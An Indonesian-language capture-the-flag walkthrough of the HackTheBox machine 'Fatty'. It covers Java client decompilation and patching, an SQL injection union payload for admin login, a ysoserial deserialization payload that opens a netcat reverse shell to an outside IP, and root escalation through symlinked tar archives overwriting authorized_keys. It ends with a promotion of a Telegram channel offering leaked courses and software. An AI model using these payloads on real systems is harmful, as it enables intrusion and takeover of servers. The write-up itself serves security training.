
Saya terus menerbitkan solusi yang dikirim untuk penyelesaian mesin dari platform HackTheBox .
Pada artikel ini, kami akan membalikkan dua aplikasi Java, saat memodifikasi dan mengkompilasi ulang klien, untuk mengeksploitasi injeksi SQL selama otorisasi dan menjalankan perintah di server karena kerentanan dalam deserialisasi objek Java.
Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.
Informasi organisasi
Pengintai
Mesin ini memiliki alamat IP 10.10.10.174, yang saya tambahkan ke / etc / hosts.
10.10.10.174 fatty.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174 --rate=500

Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.
nmap -A fatty.htb -p21,22,1337,1338,1339

Dari pemindaian nmap, kita dapat melihat bahwa login ftp anonim dimungkinkan, sementara itu berisi beberapa catatan dan file jar. Unduh semua yang ada di sana.
wget ftp://fatty.htb/*
Catatan pertama menyatakan bahwa server berjalan pada port 1337, 1338 dan 1339, dan port 8000 itu masih ada di klien dan perlu diperbaiki.
Posting kedua mengatakan tentang tata letak statis elemen pada formulir klien, dan juga bahwa klien bekerja dengan Java 8.

Catatan ketiga mengatakan ada masalah keamanan dan kredensial yang diberikan.
Mari mulai klien.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar

Mari kita dekompilasi klien. Saya menggunakan Intellij IDEA jadi saya menginstal ekstensi java decompiler untuk itu. Cukup unzip file jar dan tentukan direktori sebagai direktori proyek. Di file beans.xml kami menemukan parameter koneksi.

Mari kita buang port lokal 8000 ke remote 1337.
simpleproxy -L 8000 -R fatty.htb:1337
Dalam kasus ini, kami akan membuat entri di / etc / hosts.
127.0.0.1 server.fatty.htb
Dengan cara ini semua lalu lintas klien akan dialihkan ke host jarak jauh. Kami mulai dan masuk.
Mari kita lihat di sekitar aplikasi. Dari semua itu, Anda harus berhenti pada fungsi mendapatkan daftar file dan membaca file.
Tetapi ketika kami mencoba membaca beberapa file lagi, kami mendapatkan kesalahan.
Satu-satunya pertanyaan adalah dimana filternya. Mengantisipasi kebutuhan untuk menambal kode, mendekompilasi aplikasi ke dalam jd-gui dan simpan.
Setelah mengekstrak, buka folder sebagai proyek di Intellij IDEA.
Kompilasi Ulang Java
Kami akan mengkompilasi ulang aplikasi (metode ini juga berfungsi untuk aplikasi yang dikaburkan). Sekarang mari kita melalui pengaturan lingkungan. Pergi ke File-> Struktur Proyek dan Pengaturan Proyek mengatur pengaturan berikut: Versi SDK - java8 dan direktori tempat file yang dikompilasi akan disimpan.

Selanjutnya, pergi ke Modul Proyek dan di Sumber pilih direktori yang menarik bagi kami, yang berisi kode utama.

Dan di Dependencies, tambahkan file jar aplikasi itu sendiri.

Seperti yang Anda lihat, yang satu menghilang di sebelah item Masalah. Berpindah. Dalam Konfigurasi Run / Debug tambahkan Aplikasi.


Dan kami akan menunjukkan kelas Pemula sebagai kelas Utama, karena program dimulai darinya.


Semuanya sudah siap. Sekarang, masuklah ke kelas Invoke dan atur breakpoint dalam fungsi daftar file untuk mengubah direktori.

Sekarang kita mulai men-debug dan berhenti di sini.

Dan ubah nilai variabel folder.



Dan itu berhasil. Kami melihat daftar file. Mari cari tahu apa yang ada di file start.sh. Untuk melakukan ini, kita akan menemukan fungsi untuk membaca file dan menetapkan breakpoint di dalamnya.

Mari buka file ini di lampiran dan berhenti di sini.

Dan ubah nilai nama folder variabel.


Dan kami berhasil membaca file ini.

Dengan demikian, aplikasi ini berjalan atas nama pengguna sistem qtc. Untuk mendapatkan aplikasi tersebut, Anda perlu mengubah kodenya. Mari tambahkan fungsi untuk menulis ke file, dapatkan respons dalam byte, enkode dalam base64, dan teruskan string ini ke fungsi ini.

Mari meminta file melalui aplikasi, berhenti di breakpoint dan ubah jalurnya.

Dan file tersebut berhasil disimpan.

cat srv.b64 | base64 -d > fatty-server.jar
Pwning server
Buka aplikasi server di jd-gui. Setelah melihat sedikit kode, kami mengumpulkan informasi yang sangat berguna. Misalnya, koneksi database data.

Dan juga permintaan ke database selama otorisasi.

Jadi, pengguna dibuat untuk aplikasi tersebut, berdasarkan data yang akan dikembalikan dari database.


Dengan demikian, kami dapat membuat permintaan sedemikian sehingga qtc yang kami ketahui dibuat, tetapi sudah dengan hak administrator. Kami tahu nama pengguna dan kata sandinya, tetapi hash harus dikembalikan dari database. Mari kita hitung:

Kita perlu mengeksekusi query seperti ini:
SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'
Untuk melakukan ini, saat men-debug aplikasi, kami akan berhenti di fungsi login.

Dan ubah nama pengguna variabel.
qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin
Setelah otorisasi berhasil, kami akan melihat hak kami, kami bekerja sebagai administrator.
Agar tidak mengubah apa pun selama debugging, tetapi untuk terus mendapatkan akses administratif, bahkan dengan bidang kosong, kami akan mengubah fungsi login.
Sekarang kita telah menemukan cara meningkatkan hak kita, mari kita lihat fungsi baru yang tersedia dan memutuskan vektor serangan selanjutnya. Dan dalam kode server kami berpegang teguh pada penggunaan serialisasi dalam fungsi perubahan kata sandi.
Mari temukan fitur ini di aplikasi klien.
Jadi objek Pengguna adalah serial, base64 dikodekan, dan diteruskan ke server di mana ia didekodekan dan deserialisasi. Karena nama fungsinya diredupkan, fungsinya tidak digunakan di mana pun. Anda dapat memverifikasi ini dengan mencoba mengubah kata sandi.
Mari kita letakkan breakpoint di dalam fungsi perubahan kata sandi, sebelum menambahkan objek serial sebagai argumen.
Mari temukan kode yang dijalankan saat Anda mengklik tombol Ubah.
Mari tambahkan pemanggilan fungsi.
Anda dapat menggunakan ysoserial untuk mengeksploitasi kerentanan dalam deserialisasi data . Pertama, mari kita definisikan modul.
grep -R Invoke .
Jadi, kami akan menggunakan CommonsCollections.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0
Dan masukkan beban yang dihasilkan ke dalam kode modifikasi dari fungsi perubahan kata sandi.
Setelah aplikasi dijalankan, kita mendapatkan backconnect.
AKAR
Muat salah satu skrip enumerasi sistem, misalnya linpeas. Kami tidak menemukan sesuatu yang menarik, kecuali bahwa kami berada dalam container buruh pelabuhan.
Karena kami tidak menemukan sesuatu yang statis, mari mulai pspy dan lacak proses yang sedang berjalan. Namun setelah menunggu sebentar, tidak ada hal menarik yang terjadi. Kemudian saya memulai proses dengan memulai aplikasi klien dan menutupnya. Setelah menutup aplikasi, perintah scp dikeluarkan.
Jadi, arsip dengan log disalin. Saya dapat berasumsi bahwa itu juga dibongkar. Mari masuk bersama, mengunggah, membuat, dan mengemas tautan ke file dengan kunci ssh.
Mari kita periksa arsipnya.
Luar biasa. Sekarang mari buka aplikasi, masuk, ubah log dan tutup aplikasi.
mv my.tar /opt/fatty/tar/logs.tar
Sekarang, jika Anda mengulangi ini, konten file akan ditulis ke authorized_keys. Oleh karena itu, kami membuat pasangan kunci menggunakan ssh-keygen, mengulangi trik dengan aplikasi tersebut dan menulis kunci publik, bukan arsip.
Sekarang kita dapat terhubung melalui SSH dengan kunci pribadi.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas, di mana akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.